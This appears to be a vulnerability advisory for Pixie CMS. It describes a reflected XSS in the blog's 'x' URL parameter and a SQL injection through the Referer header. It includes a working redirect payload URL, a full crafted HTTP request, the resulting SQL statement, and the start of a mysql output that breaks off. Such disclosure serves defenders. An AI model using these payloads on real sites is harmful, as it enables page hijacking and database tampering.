Pixie CMS Multiple Vulnerabilities
|
|
|
|
Pixie is a "free, open source web application that will help you quickly
|
|
create your own website. Many people refer to this type of software as
|
|
a 'content management system (cms)'" (http://www.getpixie.co.uk). Pixie
|
|
is written in PHP with a MySQL database back end.
|
|
|
|
Pixie Blog XSS
|
|
|
|
It is possible to trivially introduce a Cross Site Scripting (XSS)
|
|
attack by tampering with blog post URL variables, specifically the "x="
|
|
variable which is designed to contain blog posting titles. For
|
|
instance, on a default install of Pixie, the first blog post contains is
|
|
referenced using the URL ?s=blog&m=permalink&x=my-first-post. The "x"
|
|
variable is interlaced with the BODY tag during display on line 150 of
|
|
index.php:
|
|
|
|
<body class="pixie <?php $s." "; $date_array = getdate(); print
|
|
"y".$date_array['year']." "; print "m".$date_array['mon']." "; print
|
|
"d".$date_array['mday']." "; print "h".$date_array['hours']." "; print
|
|
$s; ?>">
|
|
|
|
by changing the "x" variable it is possible to inject HTML code into the
|
|
page display. For instance, a Pixie blog post that was intended to be
|
|
published as
|
|
|
|
http://192.168.0.67/pixie/?s=blog&m=permalink&x=my-first-post
|
|
|
|
Can be altered to the form:
|
|
|
|
http://192.168.0.67/pixie/?s=blog&m=permalink&x="
|
|
onLoad="location.href='http://lampsecurity.org'
|
|
|
|
and redirect users to the "onLoad" specified URL.
|
|
|
|
Pixie Blog SQL Injection
|
|
|
|
Pixie blog is vulnerable to SQL injection by manipulating the "referer"
|
|
client request. Referers are tracked in the referral() function
|
|
(/admin/lib/lib_logs.php line 31) but are not sanitized. Thus,
|
|
manipulating the referer can allow an attacker to perform SQL Injection
|
|
attacks. For example, sending the request:
|
|
|
|
GET http://192.168.0.67/pixie/?s=events HTTP/1.1
|
|
Host: 192.168.0.67
|
|
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6)
|
|
Gecko/2009020501 Firefox/3.0.6 Paros/3.2.13
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-us,en;q=0.5
|
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
|
Keep-Alive: 300
|
|
Proxy-Connection: keep-alive
|
|
Referer: http://www.lampsecurity.org/pixie/?s=about',log_id=1 on
|
|
duplicate key update log_message='foobar
|
|
Cookie: bb2_screener_=1237492959+192.168.0.3
|
|
|
|
Results in the pixie_log table being altered by issuing the following
|
|
SQL statement:
|
|
|
|
insert into pixie_log set user_id = 'Visitor', user_ip = '192.168.0.3',
|
|
log_time = now(), log_type = 'referral', log_icon = 'referral',
|
|
log_message = 'http://www.lampsecurity.org/pixie/?s=about',log_id=1 on
|
|
duplicate key update log_message='foobar'
|
|
|
|
resulting in:
|
|
|
|
mysql> select * from pixie_log where log_id=1;
|
|
|
|
+--------+---------+-------------+---------------------+----------+-------------+----------+---------------+
|
